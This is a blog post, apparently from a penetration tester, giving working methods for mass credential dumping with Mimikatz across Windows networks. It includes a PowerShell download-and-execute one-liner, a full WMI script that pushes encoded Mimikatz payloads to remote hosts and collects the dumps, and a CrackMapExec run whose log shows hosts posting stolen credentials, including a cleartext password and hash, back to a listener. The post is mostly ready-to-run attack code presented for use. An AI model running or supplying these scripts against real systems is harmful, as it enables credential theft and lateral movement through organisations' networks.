Mass mimikatz

In Hack Like a Pornstar we had a number of machines sharing the same local administrator account. We had to launch Mimikatz on all of them in the hope of getting that Domain Admin account.
This post will go over the different ways to achieve such mass mimikatz execution.

WinRM Mimi

By far the easiest option is to simply use the PowerShell wrapper Invoke-Mimikatz.ps1. If we specify multiple hostnames (does not work with IP addresses) it establishes a remote connection using PowerShell remoting service (WinRM) to execute the payload on each target:

$browser = New-Object System.Net.WebClient
IEX($browser.DownloadString("https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1"))
invoke-mimikatz -Computer FRSV27, FRSV210, FRSV229, FRSV97 |out-file result.txt -Append

This technique is great for mass execution but has two main limitations:

  • It requires WinRM (port 5985/5986) to be active on targets, which might not always be the case
  • It’s not scalable: we can’t target 100 computers, it would take forever

Ps : yes we can always connect on all machines to activate WinRM (Enable-PSRemoting -Force) but we can be more creative than that 😉

RPC mimi

The second option relies on the infamous Windows Management Instrumentation tool (WMI) to execute commands on remote hosts using RPC communication. It uses ports 135 and a few dynamic ones. RPC being the main communication channel since Windows 2000, these ports are almost always open on servers!
We might find a tighter filtering on Workstations, but that will be the subject of another blog post 🙂

In any case, the idea is to use invoke-wmimethod on PowerShell to instruct every machine to download Mimikatz and execute it on the server. We cannot get the output of the remotely spawned process, so we write the output to a file that we later download. We can use WMI to monitor when Mimikatz is done so we can retrieve the file and erase it :

# Mass mimikatz on remote servers sharing the same admin account as the machine launching this script (ideal being the same local administrator account)
#
# If you want to use different credentials use the following trick
# open cmd with : runas /user:domain\administrator /netonly cmd
# then launch this script from this new open cmd: powershell -exec bypass .\mass_mimi.ps1
# 
# Requirement: RPC ports open on remote ports.

$command = '$browser = New-Object System.Net.WebClient;IEX($browser.DownloadString("https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1"));$machine_name = (get-netadapter | get-netipaddress | ? addressfamily -eq "IPv4").ipaddress;invoke-mimikatz | out-file c:\windows\temp\$machine_name".txt"'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

$PC_IP = @("192.168.1.25")
 
ForEach ($X in $PC_IP) {

Try{
	$proc = invoke-wmimethod -ComputerName $X win32_process -name create -argumentlist ("powershell -encodedcommand $encodedCommand")
	$proc_id = $proc.processId
	$path =  Split-Path -Parent $PSCommandPath
	write-host "[+] Successful run on $X" -foregroundcolor "green"
} catch {
	write-output  "$X : $_.Exception.Message"
	break
}

start-job -Name Para -ArgumentList @($X, $proc_id, $path,$MyCredential) -ScriptBlock{
    $X = $args[0]; $proc_id = $args[1]; $path = $args[2]; $MyCredential = $args[3];
	try{
		do {(write-output "[*] Waiting for mimi to finish on $X" | out-file "$path\logs.txt"),(Start-Sleep -Seconds 2)}
		
		until ((Get-WMIobject -Class Win32_process -Filter "ProcessId=$proc_id" -ComputerName $X | where {$_.ProcessId -eq $proc_id}).ProcessID -eq $null);
		move-item -path "\\$X\C$\windows\temp\$X.txt" -Destination "$path\$X.txt" -force;
		write-output "[+] Got file for $X" | out-file -append "$path\logs.txt";
		
	} catch{
		write-output  "$X : $_.Exception.Message" | out-file -append "$path\logs.txt";
		break
	}
	}
}

That’s much better ! RPC communication and parallel job processing ! The main drawback is that it writes the output to an output file, but that’s not such a big deal as it’s a harmless text file.
To launch the script with specific credentials, spawn a /netonly cmd session :

C:> runas /user:workgroup\administrator /netonly cmd
password:
# New window spwaned with the provided credentials where you can run the mass PS script.

CrackMapExec

To avoid creating a file we can use CrackMapExec’s mimikatz module which spawns a listener on your machine and waits for targets to send back the credentials :

root@Kali:~# pip install crackmapexec
root@Kali:~# /usr/local/bin/crackmapexec -u administrator -p Admin001 -d workgroup 192.168.1.25 -M mimikatz --server=http --server-port=8080
04-07-2017 22:47:57 CME          192.168.1.25:445 SVLAB           [*] Windows 6.3 Build 9600 (name:SVLAB) (domain:SVLAB)
04-07-2017 22:47:57 CME          192.168.1.25:445 SVLAB           [+] workgroup\administrator:Admin001 (Pwn3d!)
04-07-2017 22:47:57 MIMIKATZ     192.168.1.25:445 SVLAB           [+] Executed payload
04-07-2017 22:47:57 MIMIKATZ                                       [*] Waiting on 1 host(s)
04-07-2017 22:47:59 MIMIKATZ     192.168.1.25                      [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
04-07-2017 22:48:06 MIMIKATZ     192.168.1.25                      [*] - - "POST / HTTP/1.1" 200 -
04-07-2017 22:48:06 MIMIKATZ     192.168.1.25                      [+] Found credentials in Mimikatz output (domain\username:password)
04-07-2017 22:48:06 MIMIKATZ     192.168.1.25                      SVLAB\Administrator:c0f2e311d3f450a7ff2571bb59fbede5
04-07-2017 22:48:06 MIMIKATZ     192.168.1.25                      WIN-4OT38RIO4TV\Administrator\WIN-4OT38RIO4TV\Administrator:Admin001
04-07-2017 22:48:06 MIMIKATZ     192.168.1.25                      [*] Saved Mimikatz's output to Mimikatz-192.168.1.25-2017-04-07_224806.log
04-07-2017 22:48:13 [*] KTHXBYE!


There you go folks! Make it rain!